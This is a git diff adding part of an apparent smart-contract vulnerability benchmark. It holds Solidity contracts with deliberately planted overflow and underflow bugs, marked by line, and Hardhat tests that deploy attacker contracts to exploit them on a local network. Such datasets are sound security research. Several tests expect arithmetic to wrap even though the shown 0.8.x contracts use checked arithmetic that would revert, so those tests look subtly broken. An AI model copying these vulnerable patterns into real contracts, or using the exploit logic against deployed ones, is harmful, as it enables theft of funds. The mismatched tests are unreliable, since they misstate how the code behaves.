effect: overflow never escapes function + +pragma solidity ^0.8.0; + +contract IntegerOverflowBenign1 { + uint public count = 1; + + function run(uint256 input) public { + // ARITHMETIC + uint res = count - input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol new file mode 100644 index 0000000..b651fa9 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol @@ -0,0 +1,18 @@ +/* + * @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_mapping_sym_1.sol + * @author: - + * @vulnerable_at_lines: 16 + */ + +//Single transaction overflow + +pragma solidity ^0.8.0; + +contract IntegerOverflowMappingSym1 { + mapping(uint256 => uint256) map; + + function init(uint256 k, uint256 v) public { + // ARITHMETIC + map[k] -= v; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_minimal.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_minimal.sol new file mode 100644 index 0000000..58d977b --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_minimal.sol @@ -0,0 +1,19 @@ +/* + * @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_minimal.sol + * @author: - + * @vulnerable_at_lines: 17 + */ + +//Single transaction overflow +//Post-transaction effect: overflow escapes to publicly-readable storage + +pragma solidity ^0.8.0; + +contract IntegerOverflowMinimal { + uint public count = 1; + + function run(uint256 input) public { + // ARITHMETIC + count -= input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mul.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mul.sol new file mode 100644 index 0000000..bde7422 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mul.sol @@ -0,0 +1,19 @@ +/* + * @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_mul.sol + * @author: - + * @vulnerable_at_lines: 17 + */ + +//Single transaction overflow +//Post-transaction effect: overflow escapes to publicly-readable storage + +pragma solidity ^0.8.0; + +contract IntegerOverflowMul { + uint public count = 2; + + function run(uint256 input) public { + // ARITHMETIC + count *= input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol new file mode 100644 index 0000000..1be8b4d --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol @@ -0,0 +1,27 @@ +/* + * @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite + * @author: Suhabe Bugrara + * @vulnerable_at_lines: 25 + */ + +//Multi-transactional, multi-function +//Arithmetic instruction reachable + +pragma solidity ^0.8.0; + +contract IntegerOverflowMultiTxMultiFuncFeasible { + uint256 private initialized = 0; + uint256 public count = 1; + + function init() public { + initialized = 1; + } + + function run(uint256 input) public { + if (initialized == 0) { + return; + } + // ARITHMETIC + count -= input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol new file mode 100644 index 0000000..43a30e5 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol @@ -0,0 +1,24 @@ +/* + * @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite + * @author: Suhabe Bugrara + * @vulnerable_at_lines: 22 + */ + +//Multi-transactional, single function +//Arithmetic instruction reachable + +pragma solidity ^0.8.0; + +contract IntegerOverflowMultiTxOneFuncFeasible { + uint256 private initialized = 0; + uint256 public count = 1; + + function run(uint256 input) public { + if (initialized == 0) { + initialized = 1; + return; + } + // ARITHMETIC + count -= input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_simple_add.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_simple_add.sol new file mode 100644 index 0000000..67bdd1f --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_simple_add.sol @@ -0,0 +1,16 @@ +/* + * @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101#overflow-simple-addsol + * @author: - + * @vulnerable_at_lines: 14 + */ + +pragma solidity 0.8.0; + +contract Overflow_Add { + uint public balance = 1; + + function add(uint256 deposit) public { + // ARITHMETIC + balance += deposit; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_single_tx.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_single_tx.sol new file mode 100644 index 0000000..04ee0c3 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_single_tx.sol @@ -0,0 +1,51 @@ +/* + * @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite + * @author: Suhabe Bugrara + * @vulnerable_at_lines: 18,24,30,36,42,48 + */ + +//Single transaction overflow +//Post-transaction effect: overflow escapes to publicly-readable storage + +pragma solidity ^0.8.0; + +contract IntegerOverflowSingleTransaction { + uint public count = 1; + + // ADD overflow with result stored in state variable. + function overflowaddtostate(uint256 input) public { + // ARITHMETIC + count += input; + } + + // MUL overflow with result stored in state variable. + function overflowmultostate(uint256 input) public { + // ARITHMETIC + count *= input; + } + + // Underflow with result stored in state variable. + function underflowtostate(uint256 input) public { + // ARITHMETIC + count -= input; + } + + // ADD Overflow, no effect on state. + function overflowlocalonly(uint256 input) public { + // ARITHMETIC + uint res = count + input; + } + + // MUL Overflow, no effect on state. + function overflowmulocalonly(uint256 input) public { + // ARITHMETIC + uint res = count * input; + } + + // Underflow, no effect on state. + function underflowlocalonly(uint256 input) public { + // ARITHMETIC + uint res = count - input; + } + +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/timelock.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/timelock.sol new file mode 100644 index 0000000..eec2e7a --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/timelock.sol @@ -0,0 +1,32 @@ +/* + * @source: https://github.com/sigp/solidity-security-blog + * @author: - + * @vulnerable_at_lines: 22 + */ + +//added pragma version + pragma solidity ^0.8.0; + + contract TimeLock { + + mapping(address => uint) public balances; + mapping(address => uint) public lockTime; + + function deposit() public payable { + balances[msg.sender] += msg.value; + lockTime[msg.sender] = block.timestamp + 1 weeks; + } + + function increaseLockTime(uint _secondsToIncrease) public { + // ARITHMETIC + lockTime[msg.sender] += _secondsToIncrease; + } + + function withdraw() public { + require(balances[msg.sender] > 0); + require(block.timestamp > lockTime[msg.sender]); + uint transferValue = balances[msg.sender]; + balances[msg.sender] = 0; + payable(msg.sender).transfer(transferValue); + } + } diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/token.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/token.sol new file mode 100644 index 0000000..d214679 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/token.sol @@ -0,0 +1,30 @@ +/* + * @source: https://github.com/sigp/solidity-security-blog + * @author: Steve Marx + * @vulnerable_at_lines: 20,22 + */ + + pragma solidity ^0.8.0; + + contract Token { + + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + // ARITHMETIC + require(balances[msg.sender] - _value >= 0); + // ARITHMETIC + balances[msg.sender] -= _value; + balances[_to] += _value; + return true; + } + + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } + } diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/tokensalechallenge.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/tokensalechallenge.sol new file mode 100644 index 0000000..95d047b --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/tokensalechallenge.sol @@ -0,0 +1,35 @@ +/* + * @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101 // https://capturetheether.com/challenges/math/token-sale/ + * @author: Steve Marx + * @vulnerable_at_lines: 23,25,33 + */ + +pragma solidity ^0.8.0; + +contract TokenSaleChallenge { + mapping(address => uint256) public balanceOf; + uint256 constant PRICE_PER_TOKEN = 1 ether; + + constructor(address _player) payable { + require(msg.value == 1 ether); + } + + function isComplete() public view returns (bool) { + return address(this).balance < 1 ether; + } + + function buy(uint256 numTokens) public payable { + // ARITHMETIC + require(msg.value == numTokens * PRICE_PER_TOKEN); + // ARITHMETIC + balanceOf[msg.sender] += numTokens; + } + + function sell(uint256 numTokens) public { + require(balanceOf[msg.sender] >= numTokens); + + balanceOf[msg.sender] -= numTokens; + // ARITHMETIC + payable(msg.sender).transfer(numTokens * PRICE_PER_TOKEN); + } +} diff --git a/smartbugs-curated/0.8.x/hardhat.config.js b/smartbugs-curated/0.8.x/hardhat.config.js new file mode 100644 index 0000000..8b536fa --- /dev/null +++ b/smartbugs-curated/0.8.x/hardhat.config.js @@ -0,0 +1,24 @@ +require("@nomicfoundation/hardhat-toolbox"); +const fs = require('fs'); + +module.exports = { + solidity: { + compilers: [ + { + version: "0.8.0", + }, + ], + }, + networks: { + hardhat: { + initialDate: "2018-12-31 11:59:00 PM", + hardfork: "shanghai", + } + }, + mocha: { + reporter: './scripts/CustomReporter.js', + reporterOptions: { + json: false, // Export test results to JSON + } + }, +}; diff --git a/smartbugs-curated/0.8.x/scripts/CustomReporter.js b/smartbugs-curated/0.8.x/scripts/CustomReporter.js new file mode 100644 index 0000000..30bf902 --- /dev/null +++ b/smartbugs-curated/0.8.x/scripts/CustomReporter.js @@ -0,0 +1,111 @@ +const Mocha = require('mocha'); +const fs = require('fs'); +const path = require('path'); +const { fail } = require('assert'); + +// Extend the Spec reporter +const Spec = Mocha.reporters.Spec; +const Base = Mocha.reporters.Base; // For styling and symbols + +const suffix = ''; +class CustomReporter extends Spec { + constructor(runner, options) { + // Call the parent constructor (Spec reporter) + super(runner); + + // Initialize variables to track the current file and passing file count + let passingFiles = 0; + let currentFile = null; + let allTestsPassed = true; + let allFiles = 0; + const testResults = []; + + const exportOptions = options.reporterOptions || {}; + const exportToJson = exportOptions.json || false; + + // When a new suite (test file) starts + runner.on('suite', (suite) => { + if (suite.file) { + if (currentFile !== suite.file) { + // New test file started + currentFile = suite.file; + allTestsPassed = true; // Assume all tests will pass initially + allFiles += 1; + } + } + }); + + // If any test fails + runner.on('fail', (test, err) => { + // Mark the current test file as having failed tests + allTestsPassed = false; + const fileName = currentFile.split('/test/')[1]; + const contractFile = fileName.replace('_test.js', suffix+ '.sol'); + testResults.push({ + title: test.title, + file: fileName, + contractFile: contractFile, + state: 'failed', + error: err.message, // Capture the error message + stack: err.stack, // Capture the stack trace + }); + }); + + // When a test ends, store its result + runner.on('test end', (test) => { + // only get the string after 'test' in the title + // filename = currentFile.split('/'); + const fileName = currentFile.split('/test/')[1]; + const contractFile = fileName.replace('_test.js', suffix + '.sol'); + // console.log(contract_file); + if (test.state === 'passed') { + testResults.push({ + title: test.title, + file: fileName, + contractFile: contractFile, + state: test.state, + }); + } + }); + + // When the suite (test file) ends + runner.on('suite end', (suite) => { + if (suite.file && currentFile === suite.file && allTestsPassed) { + passingFiles += 1; + } + }); + + // At the end of all tests, log the number of passing test files in the same style as passing tests + runner.on('end', () => { + const { tests, passes, failures, pending, duration } = runner.stats; + + const failedFiles = allFiles - passingFiles; + + const formattedMessage = Base.color('green', `Total passing test files: ${passingFiles}/${allFiles}`); + const formattedMessage2 = Base.color('fail', `Total failed files: ${failedFiles}/${allFiles}`); + // // Log the formatted message + console.log(`${formattedMessage}`); + console.log(`${formattedMessage2}`); + + if (exportToJson) { + // Prepare the data to be exported to JSON + const results = { + totalTests: tests, + passingTests: passes, + failingTests: failures, + totalFiles: allFiles, + passingFiles: passingFiles, + failingFiles: failedFiles, + testResults: testResults, + }; + + // Write to JSON file + const jsonPath = path.join(__dirname, 'test-results.json'); + fs.writeFileSync(jsonPath, JSON.stringify(results, null, 2)); + console.log(`\nTest results written to ${jsonPath}`); + } + }); + } +} + +module.exports = CustomReporter; diff --git a/smartbugs-curated/0.8.x/test/arithmetic/BECToken_test.js b/smartbugs-curated/0.8.x/test/arithmetic/BECToken_test.js new file mode 100644 index 0000000..4d51362 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/BECToken_test.js @@ -0,0 +1,33 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/BECToken.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/BECToken.sol/BecToken.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + + const BECToken = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await BECToken.deploy(); + await victim.waitForDeployment(); + + const BecTokenAttacker = await ethers.getContractFactory('contracts/arithmetic/BECToken_attack.sol:BecTokenAttacker'); + const attacker = await BecTokenAttacker.deploy(); + await attacker.waitForDeployment(); + + return {victim, attacker}; + } + + + it('exploit overflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + const victim_addr = await victim.getAddress(); + const attacker_addr = await attacker.getAddress(); + + expect(await victim.balanceOf(attacker_addr)).to.equal(0); + await attacker.attack(victim_addr); + expect(await victim.balanceOf(attacker_addr)).to.greaterThan(0); + }); + + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_1_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_1_test.js new file mode 100644 index 0000000..dd270d6 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_1_test.js @@ -0,0 +1,51 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_1.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_1.sol/Overflow.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const Overflow = await ethers.getContractFactory(json.abi, json.bytecode); + const overflow = await Overflow.deploy(); + await overflow.waitForDeployment(); + const address = await overflow.getAddress(); + + const OverflowAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_1_attack.sol:OverflowAttacker'); + const attacker = await OverflowAttacker.deploy(address); + await attacker.waitForDeployment(); + + return {overflow, attacker}; + } + + it('sanity check: arithmetic/integer_overflow_1.sol', async function () { + const {overflow} = await loadFixture(deployContracts); + let storage = await ethers.provider.getStorage(overflow.target, 0); + let value = Number(storage); + expect(value).to.be.equal(0); + await overflow.add(1); + storage = await ethers.provider.getStorage(overflow.target, 0); + value = Number(storage); + expect(value).to.be.equal(1); + }); + + it('exploit overflow vulnerability', async function () { + const {overflow,attacker} = await loadFixture(deployContracts); + let storage = await ethers.provider.getStorage(overflow.target, 0); + let value = Number(storage); + expect(value).to.be.equal(0); + const max = 2**256 - 1; + // make the sellerBalance to be the maximum value + await attacker.addMax(); + storage = await ethers.provider.getStorage(overflow.target, 0); + value = Number(storage); + expect(value).to.be.equal(max); + + // cause the overflow + await overflow.add(1); + storage = await ethers.provider.getStorage(overflow.target, 0); + value = Number(storage); + expect(value).to.be.equal(0); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_add_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_add_test.js new file mode 100644 index 0000000..f9fa0a1 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_add_test.js @@ -0,0 +1,28 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_add.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_add.sol/IntegerOverflowAdd.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowAdd = await ethers.getContractFactory(json.abi, json.bytecode); + const overflow = await IntegerOverflowAdd.deploy(); + await overflow.waitForDeployment(); + const address = await overflow.getAddress(); + + const IntegerOverflowAddAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_add_attack.sol:IntegerOverflowAddAttacker'); + const attacker = await IntegerOverflowAddAttacker.deploy(address); + await attacker.waitForDeployment(); + return {overflow, attacker}; + } + + + it('exploit overflow vulnerability', async function () { + const {overflow, attacker} = await loadFixture(deployContracts); + expect(await overflow.count()).to.equal(1); + await attacker.attack(); + expect(await overflow.count()).to.equal(0); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mapping_sym_1.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mapping_sym_1.js new file mode 100644 index 0000000..62fd5be --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mapping_sym_1.js @@ -0,0 +1,63 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_mapping_sym_1.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol/IntegerOverflowMappingSym1.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowMappingSym1 = await ethers.getContractFactory(json.abi, json.bytecode); + const overflow = await IntegerOverflowMappingSym1.deploy(); + await overflow.waitForDeployment(); + return {overflow}; + } + + it('sanity check: arithmetic/integer_overflow_mapping_sym_1.sol', async function () { + const {overflow} = await loadFixture(deployContracts); + const mappingSlot = BigInt(0); // map is at slot 0 + const key = BigInt(0); // We want to find map[0] + + // Compute keccak256 hash for storage slot + const storageSlot = ethers.keccak256( + ethers.AbiCoder.defaultAbiCoder().encode( + ["uint256", "uint256"], + [key, mappingSlot] + ) + ); + + let storedValue = await ethers.provider.getStorage(overflow.target, storageSlot); + let value = Number(storedValue); + expect(value).to.be.equal(0); + await overflow.init(0, 0); + storedValue = await ethers.provider.getStorage(overflow.target, storageSlot); + value = Number(storedValue); + expect(value).to.be.equal(0); + }); + + it('exploit overflow vulnerability', async function () { + const {overflow} = await loadFixture(deployContracts); + + const mappingSlot = BigInt(0); // map is at slot 0 + const key = BigInt(0); // We want to find map[0] + + // Compute keccak256 hash for storage slot + const storageSlot = ethers.keccak256( + ethers.AbiCoder.defaultAbiCoder().encode( + ["uint256", "uint256"], + [key, mappingSlot] + ) + ); + + let storedValue = await ethers.provider.getStorage(overflow.target, storageSlot); + let value = Number(storedValue); + expect(value).to.be.equal(0); + + await overflow.init(0, 1); + + storedValue = await ethers.provider.getStorage(overflow.target, storageSlot); + value = Number(storedValue); + const max = 2**256 - 1; + expect(value).to.be.equal(max); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_minimal_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_minimal_test.js new file mode 100644 index 0000000..638eb19 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_minimal_test.js @@ -0,0 +1,30 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_minimal.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_minimal.sol/IntegerOverflowMinimal.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowAdd = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await IntegerOverflowAdd.deploy(); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const IntegerOverflowMinimalAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_minimal_attack.sol:IntegerOverflowMinimalAttacker'); + const attacker = await IntegerOverflowMinimalAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, attacker}; + } + + + it('exploit underflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await victim.run(1); + expect(await victim.count()).to.equal(0); + await attacker.attack(); + expect(await victim.count()).to.greaterThan(0); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mul_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mul_test.js new file mode 100644 index 0000000..ec7ef42 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mul_test.js @@ -0,0 +1,29 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + + +describe('attack arithmetic/integer_overflow_mul.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_mul.sol/IntegerOverflowMul.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowMul = await ethers.getContractFactory(json.abi, json.bytecode); + const overflow = await IntegerOverflowMul.deploy(); + await overflow.waitForDeployment(); + const address = await overflow.getAddress(); + + const IntegerOverflowMulAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_mul_attack.sol:IntegerOverflowMulAttacker'); + const attacker = await IntegerOverflowMulAttacker.deploy(address); + await attacker.waitForDeployment(); + return {overflow, attacker}; + } + + + it('exploit overflow vulnerability', async function () { + const {overflow, attacker} = await loadFixture(deployContracts); + expect(await overflow.count()).to.equal(2); + await attacker.attack(); + expect(await overflow.count()).to.equal(0); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_multifunc_feasible_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_multifunc_feasible_test.js new file mode 100644 index 0000000..a76eb1d --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_multifunc_feasible_test.js @@ -0,0 +1,29 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_multitx_multifunc_feasible.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol/IntegerOverflowMultiTxMultiFuncFeasible.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + + const IntegerOverflowMultiTxMultiFuncFeasible = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await IntegerOverflowMultiTxMultiFuncFeasible.deploy(); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const IntegerOverflowMultiTxMultiFuncFeasibleAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol:IntegerOverflowMultiTxMultiFuncFeasibleAttacker'); + const attacker = await IntegerOverflowMultiTxMultiFuncFeasibleAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, attacker}; + } + + + it('exploit underflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await attacker.attack(); + expect(await victim.count()).to.greaterThan(1); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_onefunc_feasible_test.js b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_onefunc_feasible_test.js new file mode 100644 index 0000000..b534365 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_onefunc_feasible_test.js @@ -0,0 +1,28 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/integer_overflow_multitx_onefunc_feasible.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol/IntegerOverflowMultiTxOneFuncFeasible.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowMultiTxMultiFuncFeasible = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await IntegerOverflowMultiTxMultiFuncFeasible.deploy(); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const IntegerOverflowMultiTxMultiFuncFeasibleAttacker = await ethers.getContractFactory('contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol:IntegerOverflowMultiTxOneFuncFeasibleAttacker'); + const attacker = await IntegerOverflowMultiTxMultiFuncFeasibleAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, attacker}; + } + + + it('exploit underflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await attacker.attack(); + expect(await victim.count()).to.greaterThan(1); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/overflow_simple_add_test.js b/smartbugs-curated/0.8.x/test/arithmetic/overflow_simple_add_test.js new file mode 100644 index 0000000..5cb7fce --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/overflow_simple_add_test.js @@ -0,0 +1,30 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/overflow_simple_add.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/overflow_simple_add.sol/Overflow_Add.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const Overflow_Add = await ethers.getContractFactory(json.abi, json.bytecode); + const overflow = await Overflow_Add.deploy(); + await overflow.waitForDeployment(); + const address = await overflow.getAddress(); + + const Overflow_AddAttacker = await ethers.getContractFactory('contracts/arithmetic/overflow_simple_add_attack.sol:Overflow_AddAttacker'); + const attacker = await Overflow_AddAttacker.deploy(address); + await attacker.waitForDeployment(); + return {overflow, attacker}; + } + + + it('exploit overflow vulnerability', async function () { + const {overflow, attacker} = await loadFixture(deployContracts); + expect(await overflow.balance()).to.equal(1); + await overflow.add(1); + expect(await overflow.balance()).to.equal(2); + await attacker.attack(); + expect(await overflow.balance()).to.equal(0); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/overflow_single_tx_test.js b/smartbugs-curated/0.8.x/test/arithmetic/overflow_single_tx_test.js new file mode 100644 index 0000000..cb0bf79 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/overflow_single_tx_test.js @@ -0,0 +1,43 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/overflow_single_tx.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/overflow_single_tx.sol/IntegerOverflowSingleTransaction.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const IntegerOverflowSingleTransaction = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await IntegerOverflowSingleTransaction.deploy(); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const IntegerOverflowSingleTransactionAttacker = await ethers.getContractFactory('contracts/arithmetic/overflow_single_tx_attack.sol:IntegerOverflowSingleTransactionAttacker'); + const attacker = await IntegerOverflowSingleTransactionAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, attacker}; + } + + + it('exploit overflow add vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await attacker.attackOverflowAddToState(); + expect(await victim.count()).to.equal(0); + }); + + + it('exploit overflow mul vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await attacker.attackOverflowMulToState(); + expect(await victim.count()).to.equal(0); + }); + + it('exploit underflow vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + expect(await victim.count()).to.equal(1); + await attacker.attackUnderflowToState(); + expect(await victim.count()).to.greaterThan(1); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/test/arithmetic/timelock_test.js b/smartbugs-curated/0.8.x/test/arithmetic/timelock_test.js new file mode 100644 index 0000000..0d1b236 --- /dev/null +++ b/smartbugs-curated/0.8.x/test/arithmetic/timelock_test.js @@ -0,0 +1,51 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const path = require("path"); +const fs = require("fs"); + +describe('attack arithmetic/timeLock.sol', function () { + async function deployContracts() { + const codePath = path.join(__dirname, '../../artifacts/contracts/dataset/arithmetic/timelock.sol/TimeLock.json'); + const json = JSON.parse(fs.readFileSync(codePath)); + const TimeLock = await ethers.getContractFactory(json.abi, json.bytecode); + const victim = await TimeLock.deploy(); + await victim.waitForDeployment(); + const address = await victim.getAddress(); + + const TimeLockAttacker = await ethers.getContractFactory('contracts/arithmetic/timelock_attack.sol:TimeLockAttacker'); + const attacker = await TimeLockAttacker.deploy(address); + await attacker.waitForDeployment(); + return {victim, 